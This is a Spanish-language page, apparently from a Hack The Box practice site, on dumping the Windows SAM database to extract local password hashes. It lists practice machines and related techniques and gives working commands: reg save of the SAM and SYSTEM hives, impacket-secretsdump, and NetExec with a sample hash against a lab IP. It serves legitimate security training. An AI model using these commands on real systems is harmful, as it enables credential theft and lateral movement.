Base de datos SAM
Subtécnica de T1003 Volcado de credenciales del sistema ↗
Copiar las colmenas SAM y SYSTEM del registro para sacar los hashes de los usuarios locales.
Cómo aparece en Hack The Box
Con SeBackupPrivilege (Backup Operators) basta reg save hklm\sam y hklm\system; luego secretsdump en LOCAL. El hash del administrador local suele valer para otros equipos.
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
- Cross-Site Scripting (XSS)
- CSRF
- Inyección SQL
- SSRF
- Credenciales guardadas / DPAPI
- ADCS (certificados)
- Captura y relay NTLM
- Pass-the-hash / ticket
- Password spraying y usuarios válidos
- Credenciales en ficheros
- Servicios internos y port forwarding
- Volcado de SAM/LSA/LSASS
- Abuso de ACLs (BloodHound)
- GPP y abuso de GPO
- Cracking de hashes
Guías
- Volcado de credenciales en Windows: SAM, LSA, LSASS, DPAPI y NTDS.dit 4 min de lectura Dónde guarda Windows las credenciales y cómo sacarlas: SAM y SYSTEM, secretos LSA, LSASS con lsassy o pypykatz, DPAPI y NTDS.dit con SeBackup.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Escalada en Windows y Active Directory › Windows
SeBackupPrivilege (copiar SAM y SYSTEM)
reg save hklm\sam C:\Windows\Temp\sam
reg save hklm\system C:\Windows\Temp\system
Sacar los hashes de SAM
Atacante
impacket-secretsdump -sam sam -system system LOCALActive Directory a fondo › Impacket
SAM/LSA (admin local)
Atacante
impacket-secretsdump box.htb/usuario:'Password123!'@10.10.11.20NetExec (nxc) › Siendo administrador
SAM y LSA
nxc smb 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b --sam --lsaNingún comando coincide.